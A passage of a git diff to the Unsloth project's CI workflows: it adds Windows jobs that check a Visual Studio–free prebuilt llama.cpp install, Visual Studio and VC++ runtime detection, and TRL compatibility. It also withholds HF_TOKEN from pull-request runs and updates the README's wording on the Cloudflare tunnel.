[System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) + foreach ($tool in @('cmake', 'cl.exe')) { + foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { + if ($cmd.Source) { + $dir = Split-Path -Parent $cmd.Source + if ($dir) { + [void] $blocked.Add( + [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\')) + } + } + } + } + # Normalized comparison so registry spellings (trailing slash, + # unexpanded %VAR%) still match. + function Test-Blocked([string]$p) { + $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\') + return $blocked.Contains($n) + } + + $pathParts = $env:Path -split [IO.Path]::PathSeparator | + Where-Object { $_ -and -not (Test-Blocked $_) } + $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator + + # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment + # rebuild the session Path from these scopes mid-install, so filter + # them too. Originals are saved for the cleanup step. + foreach ($scope in @('Machine', 'User')) { + $orig = [Environment]::GetEnvironmentVariable('Path', $scope) + if (-not $orig) { continue } + Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline + $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';' + [Environment]::SetEnvironmentVariable('Path', $kept, $scope) + Write-Host "Filtered $scope Path scope." + } + + "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PATH<&1 | Tee-Object -FilePath logs/install.log + + - name: Assert prebuilt used AND no build tools were installed + run: | + LLAMA_DIR=~/.unsloth/llama.cpp + INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json" + BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe" + fail=0 + if grep -q "falling back to source build" logs/install.log; then + echo "::error::install.ps1 fell back to source-build llama.cpp without VS."; fail=1 + fi + # The deferred build-tool installs must NOT run on the prebuilt path. + for pat in "Kitware.CMake" "Microsoft.VisualStudio.2022.BuildTools" "installing via winget"; do + if grep -qi "$pat" logs/install.log; then + echo "::error::unexpected build-tool install on the prebuilt path: '$pat'"; fail=1 + fi + done + [ -f "$INFO" ] || { echo "::error::no UNSLOTH_PREBUILT_INFO.json"; ls -la "$LLAMA_DIR" || true; fail=1; } + [ -f "$BIN" ] || { echo "::error::no llama-server.exe"; ls -la "$LLAMA_DIR/build/bin" || true; fail=1; } + if [ "$fail" != "0" ]; then grep -iE "cmake|visual studio|prebuilt|source build" logs/install.log | tail -60; exit 1; fi + echo "Prebuilt installed with no build tools:" + cat "$INFO" + + - name: Add Studio shim to GITHUB_PATH + run: | + SHIM_DIR=~/.unsloth/studio/bin + [ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; } + cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" + + - name: Reset auth + boot Studio (API-only) + run: | + unsloth studio reset-password + mkdir -p logs + UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ + > logs/studio.log 2>&1 & + echo "STUDIO_PID=$!" >> "$GITHUB_ENV" + + - name: Wait for /api/health, log in, load the GGUF + run: | + for i in $(seq 1 180); do + if curl -fs "http://127.0.0.1:${STUDIO_PORT}/api/health" > /tmp/health.json; then + jq -e '.status == "healthy"' /tmp/health.json && break + fi + sleep 1 + done + jq -e '.status == "healthy"' /tmp/health.json || { tail -200 logs/studio.log; exit 1; } + OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password) + NEW="CINoVS-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')" + echo "::add-mask::$OLD" + echo "::add-mask::$NEW" + OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \ + -H 'content-type: application/json' \ + -d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token) + curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \ + -H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \ + -d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null + TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \ + -H 'content-type: application/json' \ + -d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token) + echo "API_KEY=$TOKEN" >> "$GITHUB_ENV" + LOAD_OK=0 + for attempt in 1 2 3; do + HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \ + -X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \ + -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \ + --max-time 600 \ + -d "{\"model_path\":\"$GGUF_REPO\",\"gguf_variant\":\"$GGUF_VARIANT\",\"is_lora\":false,\"max_seq_length\":2048}") + if [ "$HTTP" = "200" ]; then LOAD_OK=1; break; fi + echo "::warning::/api/inference/load attempt $attempt returned $HTTP"; cat /tmp/load.json || true; sleep 10 + done + [ "$LOAD_OK" = "1" ] || { echo "::error::/api/inference/load failed 3 attempts"; exit 22; } + jq '{status, display_name, is_gguf}' /tmp/load.json + + - name: Inference works via the prebuilt llama.cpp (no VS) + run: | + RESP=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/v1/chat/completions" \ + -H "Authorization: Bearer $API_KEY" -H 'content-type: application/json' \ + --max-time 240 \ + -d '{"model":"default","messages":[{"role":"user","content":"What is 1+1? Answer briefly."}],"temperature":0,"max_tokens":32,"stream":false}') + echo "$RESP" | jq '.choices[0].message' || { echo "$RESP"; exit 1; } + CONTENT=$(echo "$RESP" | jq -r '.choices[0].message.content') + [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; } + echo "Inference OK without Visual Studio: $CONTENT" + + - name: Clean no-build-tools simulation + if: always() + shell: pwsh + run: | + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + foreach ($scope in @('Machine', 'User')) { + $saved = Join-Path $root "orig-path-$scope.txt" + if (Test-Path -LiteralPath $saved) { + [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope) + Write-Host "Restored $scope Path scope." + } + } + Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue + + - name: Stop Studio + if: always() + shell: cmd + run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + + - name: Collect llama-server logs + if: always() + continue-on-error: true + run: | + mkdir -p logs/llama-server + cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || echo "no llama-server logs" + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: windows-no-vs-cpu-log + path: | + logs/install.log + logs/studio.log + logs/llama-server/*.log + retention-days: 7 + + # ───────────────────────────────────────────────────────────────────── + # Job B: the GPU (CUDA) prebuilt path is also VS-free (resolve/availability) + # ───────────────────────────────────────────────────────────────────── + no-vs-gpu-resolve: + name: GPU prebuilt resolves without Visual Studio + runs-on: windows-latest + timeout-minutes: 15 + defaults: + run: + shell: bash + env: + PYTHONIOENCODING: utf-8 + PYTHONUTF8: '1' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Prepare no-build-tools simulation + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + $pf = Join-Path $root 'ProgramFiles' + $pfx86 = Join-Path $root 'ProgramFilesx86' + New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null + + $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) + foreach ($tool in @('cmake', 'cl.exe')) { + foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { + if ($cmd.Source) { + $dir = Split-Path -Parent $cmd.Source + if ($dir) { [void] $blocked.Add($dir) } + } + } + } + + $pathParts = $env:Path -split [IO.Path]::PathSeparator | + Where-Object { $_ -and -not $blocked.Contains($_) } + $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator + + "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PATH< /tmp/rel.json + echo "release: $(jq -r .tag_name /tmp/rel.json)" + ASSETS=$(jq -r '.assets[].name' /tmp/rel.json) + echo "$ASSETS" | grep -iE 'windows-x64-cuda[0-9]' || { + echo "::error::no Windows x64 CUDA prebuilt asset found in unslothai/llama.cpp latest release" + echo "$ASSETS"; exit 1; } + # AMD parity: hosted runners have no AMD GPU, so the resolver step below + # can't exercise the ROCm path (it resolves to CPU). Pin the per-gfx + # Windows ROCm bundles here so a release that drops them fails loudly -- + # the AMD no-VS guarantee otherwise rides only on shared resolver code. + echo "$ASSETS" | grep -iE 'windows-x64-rocm-gfx' || { + echo "::error::no Windows x64 ROCm (per-gfx) prebuilt asset found in unslothai/llama.cpp latest release" + echo "$ASSETS"; exit 1; } + echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling." + + - name: The prebuilt resolver runs without Visual Studio + shell: pwsh + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + $ErrorActionPreference = 'Stop' + # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the + # python child inherits the overrides. + $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES + ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86 + $env:Path = $env:NO_BUILD_TOOLS_PATH + # Resolver-only (no GPU on hosted runners, so the host resolves to the + # CPU bundle). The point is that resolution needs no compiler/VS. + python -m pip install --upgrade huggingface_hub + if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 } + python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json + if ($LASTEXITCODE -ne 0) { + Write-Host "::error::resolver exited non-zero" + if (Test-Path resolve.json) { Get-Content resolve.json } + exit 1 + } + Get-Content resolve.json + Write-Host "Prebuilt resolver ran with no Visual Studio present." + + - name: Clean no-build-tools simulation + if: always() + shell: pwsh + run: | + Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue + + # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ── + pester: + name: setup.ps1 unit tests (VS 2026 / CMake guard) + runs-on: windows-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Install Pester v5 + shell: pwsh + run: | + # PSGallery is intermittently absent from the repository list on GitHub's Windows + # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the + # name 'PSGallery' was found." Re-register the default gallery first so the policy + # change and module install below always have a repository to target. + if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) { + Register-PSRepository -Default -ErrorAction SilentlyContinue + } + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser + Import-Module Pester -MinimumVersion 5.5.0 + Get-Module Pester | Select-Object Name, Version | Format-Table + + - name: Run Pester suite + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $testDir = Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1' + if (-not (Test-Path $testDir)) { + Write-Error "Test directory not found: $testDir" + exit 1 + } + $cfg = New-PesterConfiguration + $cfg.Run.Path = $testDir + $cfg.Run.Exit = $true # non-zero exit => job fails + $cfg.Run.Throw = $true # also throw on test failure / 0 tests + $cfg.TestResult.Enabled = $true + $cfg.TestResult.OutputFormat = 'NUnitXml' + $cfg.TestResult.OutputPath = Join-Path $env:GITHUB_WORKSPACE 'pester-results.xml' + $cfg.Output.Verbosity = 'Detailed' + Invoke-Pester -Configuration $cfg + + - name: Upload Pester results + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: pester-results-setup-ps1 + path: pester-results.xml + if-no-files-found: warn + + vs-integration: + # Real detection against the VS installed on the runner image (no mocks). + name: real-VS detection (${{ matrix.label }}) + strategy: + fail-fast: false + matrix: + include: + - { os: windows-2022, label: 'VS 2022', expectGen: 'Visual Studio 17 2022', expectToolset: 'v170' } + - { os: windows-2025-vs2026, label: 'VS 2026', expectGen: 'Visual Studio 18 2026', expectToolset: 'v180' } + runs-on: ${{ matrix.os }} + timeout-minutes: 15 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Detect the real Visual Studio with setup.ps1 functions + shell: pwsh + env: + EXPECT_GEN: ${{ matrix.expectGen }} + EXPECT_TOOLSET: ${{ matrix.expectToolset }} + run: | + $ErrorActionPreference = 'Stop' + . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1') + $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1' + foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Get-VcBuildCustomizationsDir', 'Find-VsBuildTools')) { + . ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn))) + } + + # Ground truth from the real vswhere (independent of our code), for visibility. + $vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe" + if (Test-Path $vsw) { + $year = (& $vsw -latest -property catalog_productLineVersion 2>$null | Select-Object -First 1) + $path = (& $vsw -latest -property installationPath 2>$null | Select-Object -First 1) + Write-Host "Real vswhere: productLineVersion='$year' installPath='$path'" + } else { + Write-Host "vswhere not present at $vsw (relying on filesystem fallback)" + } + + # Our detection must find the real VS and report the expected generator. + $r = Find-VsBuildTools + if (-not $r) { throw "Find-VsBuildTools returned null on a host with real $env:EXPECT_GEN" } + Write-Host "Find-VsBuildTools -> Generator='$($r.Generator)' Source='$($r.Source)' InstallPath='$($r.InstallPath)'" + if ($r.Generator -ne $env:EXPECT_GEN) { + throw "Detection mismatch: got '$($r.Generator)', expected '$env:EXPECT_GEN'" + } + if (-not (Test-Path $r.InstallPath)) { throw "Detected InstallPath does not exist: $($r.InstallPath)" } + + # Toolset path derivation must match the expected v-number... + $bc = Get-VcBuildCustomizationsDir -VsInstallPath $r.InstallPath -Generator $r.Generator + $derived = Split-Path (Split-Path $bc -Parent) -Leaf # e.g. v170 / v180 + Write-Host "Get-VcBuildCustomizationsDir -> '$bc' (toolset='$derived')" + if ($derived -ne $env:EXPECT_TOOLSET) { + throw "Toolset mismatch: derived '$derived', expected '$env:EXPECT_TOOLSET'" + } + + # ...and that v-number is a real folder on the VS install (where CUDA's + # BuildCustomizations would land). + $vcRoot = Join-Path $r.InstallPath 'MSBuild\Microsoft\VC' + if (Test-Path $vcRoot) { + $realToolsets = @((Get-ChildItem -Path $vcRoot -Directory -ErrorAction SilentlyContinue).Name) + Write-Host "Real VC toolset dirs: $($realToolsets -join ', ')" + if ($realToolsets -notcontains $derived) { + throw "Derived toolset '$derived' is not present on the real $env:EXPECT_GEN install (have: $($realToolsets -join ', '))" + } + Write-Host "OK: toolset '$derived' exists on the real VS install." + } else { + Write-Warning "VC MSBuild root absent ($vcRoot) - C++ workload not installed; skipping on-disk toolset check." + } + + Write-Host "PASS: real $env:EXPECT_GEN detected correctly with toolset '$derived'." + + vcredist-clean-box: + # Validate Test-VCRedistInstalled + Ensure-VCRedist on a throwaway runner: + # present on the stock image, fires on a clean box (signals removed restorably), + # then a literal uninstall/reinstall round trip. Always restored before the end. + name: VC++ runtime detect + install round-trip (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [windows-latest, windows-2025-vs2026] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Detect present, fire on a clean box, and round-trip the install + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1') + $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1' + # Dot-source the guard + the logging closure it reaches + # (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi). + $script:StudioVtOk = $false + $script:UnslothVerbose = $false + foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep', + 'Invoke-SetupCommand', 'Refresh-Environment', + 'Test-VCRedistInstalled', 'Ensure-VCRedist')) { + $src = Get-FunctionSource -Path $setup -Name $fn + if (-not $src) { throw "Function '$fn' not found in setup.ps1" } + . ([scriptblock]::Create($src)) + } + + $regKeys = @( + 'HKLM\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64', + 'HKLM\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x64' + ) + function Show-GroundTruth { + $dll = Join-Path $env:SystemRoot 'System32\vcruntime140_1.dll' + Write-Host (" System32\vcruntime140_1.dll present: {0}" -f (Test-Path $dll)) + foreach ($k in $regKeys) { + $r = Get-ItemProperty -Path "HKLM:\$($k.Substring(5))" -ErrorAction SilentlyContinue + if ($r) { Write-Host (" {0}: Installed={1} {2}.{3}" -f $k, $r.Installed, $r.Major, $r.Minor) } + else { Write-Host (" {0}: (absent)" -f $k) } + } + } + + Write-Host '== A. Detection on the stock runner (expect present) ==' + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'Test-VCRedistInstalled reported ABSENT on a stock runner that ships the VC++ runtime (detection regression).' } + Write-Host ' Test-VCRedistInstalled -> present OK' + + Write-Host '== B. Genuinely clean box (restorable): detection must FIRE ==' + $scratch = Join-Path $env:RUNNER_TEMP 'cleanwin' + New-Item -ItemType Directory -Force -Path (Join-Path $scratch 'System32') | Out-Null + $backup = Join-Path $env:RUNNER_TEMP 'vcreg_backup' + New-Item -ItemType Directory -Force -Path $backup | Out-Null + $origSysRoot = $env:SystemRoot + try { + for ($i = 0; $i -lt $regKeys.Count; $i++) { + reg query $regKeys[$i] *> $null + if ($LASTEXITCODE -eq 0) { + reg export $regKeys[$i] (Join-Path $backup "$i.reg") /y *> $null + reg delete $regKeys[$i] /f *> $null + } + } + $env:SystemRoot = $scratch + if (Test-VCRedistInstalled) { throw 'Detection still PRESENT after both signals were removed (it would never trigger an install on a clean box).' } + Write-Host ' Test-VCRedistInstalled -> absent OK (detection fires on a clean box)' + } finally { + $env:SystemRoot = $origSysRoot + for ($i = 0; $i -lt $regKeys.Count; $i++) { + $f = Join-Path $backup "$i.reg" + if (Test-Path $f) { reg import $f *> $null } + } + } + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'Detection did not recover after restoring the registry (test restore bug).' } + + Write-Host '== C. Literal uninstall on this throwaway VM (official installer), observe detection ==' + $exe = Join-Path $env:RUNNER_TEMP 'vc_redist.x64.exe' + Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vc_redist.x64.exe' -OutFile $exe + Start-Process -FilePath $exe -ArgumentList '/uninstall', '/quiet', '/norestart' -Wait + Show-GroundTruth + Write-Host (" Test-VCRedistInstalled after uninstall -> {0}" -f (Test-VCRedistInstalled)) + if (Test-VCRedistInstalled) { + Write-Host ' Note: the Visual Studio on this image ref-counts the runtime, so the package' + Write-Host ' uninstall is a no-op here; section B already proved detection on a clean box.' + } + + Write-Host '== D. Restore via Ensure-VCRedist (winget product path), installer fallback if needed ==' + Ensure-VCRedist + if (-not (Test-VCRedistInstalled)) { + Write-Host ' winget path did not restore it; using the official installer to close the round trip.' + Start-Process -FilePath $exe -ArgumentList '/install', '/quiet', '/norestart' -Wait + } + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'VC++ runtime could not be restored after the uninstall round-trip.' } + Write-Host ' Test-VCRedistInstalled -> present OK' + Write-Host 'PASS: detection is correct on a real install, fires on a clean box, and the install round-trip restores the runtime.' diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml index 00458d213b..405309916a 100644 --- a/.github/workflows/studio-windows-ui-smoke.yml +++ b/.github/workflows/studio-windows-ui-smoke.yml @@ -91,7 +91,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -155,7 +156,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 redirects ALL PowerShell streams (stdout, stderr, diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml index 1a2a7df493..5b92f1a3e0 100644 --- a/.github/workflows/studio-windows-update-smoke.yml +++ b/.github/workflows/studio-windows-update-smoke.yml @@ -6,9 +6,9 @@ # windows-latest runner: # # 1. install.ps1 --local --no-torch installs Studio AND auto-fetches -# the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu- -# x64 from ggml-org/llama.cpp). Hitting the source-build fallback -# is treated as an Unsloth bug -- Studio must always pick the +# the prebuilt llama.cpp Windows binary (app--windows-x64-cpu +# from unslothai/llama.cpp). Hitting the source-build fallback is +# treated as an Unsloth bug -- Studio must always pick the # prebuilt on Windows. # 2. unsloth studio update --local is idempotent. Two consecutive # runs both report "prebuilt up to date and validated", no @@ -133,7 +133,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -180,7 +181,8 @@ jobs: - name: First update should be a no-op (prebuilt already validated) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -199,7 +201,8 @@ jobs: - name: Second update must also be a no-op env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml index 599b53df1d..6becccc90a 100644 --- a/.github/workflows/version-compat-ci.yml +++ b/.github/workflows/version-compat-ci.yml @@ -242,7 +242,7 @@ jobs: run: | python -m pip install --upgrade pip # CPU torch (vllm/peft/st all depend on it). - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' # torchcodec is a hard requirement on transformers 5.x: # transformers/audio_utils.py:55 does @@ -285,6 +285,92 @@ jobs: tests/vllm_compat/test_extended_module_imports.py \ -v --tb=short + # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike + # the static symbol/source greps above, this drives unsloth's actual + # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only + # runner under the tests/conftest.py spoof harness -- no GPU, no training. + # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple + # per-token-logps return, restructured PEFT ref-adapter block) by asserting + # the generated Unsloth trainer still satisfies the transform contracts. + grpo-fake-run: + name: GRPO fake-run (latest + main TRL, CPU spoof) + runs-on: ubuntu-latest + timeout-minutes: 18 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + path: unsloth + - name: Clone unsloth-zoo @ main + run: | + for attempt in 1 2 3; do + rm -rf "$RUNNER_TEMP/unsloth-zoo" + if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \ + "$RUNNER_TEMP/unsloth-zoo"; then + break + fi + if [ "$attempt" -eq 3 ]; then + echo "::error::git clone unsloth-zoo failed after 3 attempts" + exit 1 + fi + delay=$((5 * attempt)) + echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..." + sleep "$delay" + done + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Install CPU torch + ecosystem + TRL latest + run: | + python -m pip install --upgrade pip + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' + # Ecosystem floors unsloth needs; TRL itself is installed last so it + # can pull the transformers/peft it requires. + pip install \ + 'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \ + 'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \ + 'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow + pip install --upgrade trl + pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo" + pip install --no-deps -e ./unsloth + - name: Fake-run vs TRL latest + env: + UNSLOTH_IS_PRESENT: '1' + UNSLOTH_COMPILE_DISABLE: '1' + # Disable dynamo/inductor at the process level, before conftest.py's early + # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner + # (defense in depth; the CPU fake-train also flips this at runtime). + TORCHDYNAMO_DISABLE: '1' + TORCH_COMPILE_DISABLE: '1' + PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python + run: | + cd unsloth + python -c "import trl; print('Resolved TRL', trl.__version__)" + PYTHONPATH=. python -m pytest \ + tests/version_compat/test_trl_grpo_fake_run.py \ + tests/version_compat/test_trl_fake_train_cpu.py \ + -v --tb=short + # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge + # TRL break does not red every PR. github.event_name is valid in a step if. + - name: Fake-run vs TRL main (scheduled / dispatch only) + if: ${{ github.event_name != 'pull_request' }} + env: + UNSLOTH_IS_PRESENT: '1' + UNSLOTH_COMPILE_DISABLE: '1' + TORCHDYNAMO_DISABLE: '1' + TORCH_COMPILE_DISABLE: '1' + PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python + run: | + pip install --upgrade "git+https://github.com/huggingface/trl" + cd unsloth + python -c "import trl; print('Resolved TRL', trl.__version__)" + PYTHONPATH=. python -m pytest \ + tests/version_compat/test_trl_grpo_fake_run.py \ + tests/version_compat/test_trl_fake_train_cpu.py \ + -v --tb=short + # Daily-only: same suites but with --strict on importable upstream # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake. daily-fresh-fetch: diff --git a/.gitignore b/.gitignore index 9f7d4b8c60..39ca2226ca 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,8 @@ outputs/ exports/ /datasets/ studio/backend/assets/datasets/ +# Generated async worker / reviewer transcripts (never part of the product). +studio/backend/async_task_outputs/ unsloth_training_checkpoints/ *.gguf *.safetensors diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index bf2a0c8e7c..8dcb9130b3 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.15.17 + rev: v0.15.18 hooks: - id: ruff args: diff --git a/README.md b/README.md index 6656033523..849ee2e87b 100644 --- a/README.md +++ b/README.md @@ -86,7 +86,7 @@ unsloth studio -p 8888 ``` For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally. -For a secure HTTPS link instead of a raw network port, use `unsloth studio --secure`. Studio stays bound to localhost and is served only through a free Cloudflare HTTPS tunnel (it fails closed if the tunnel can't start, so the raw port is never exposed). +To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below). #### Docker Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run: @@ -212,7 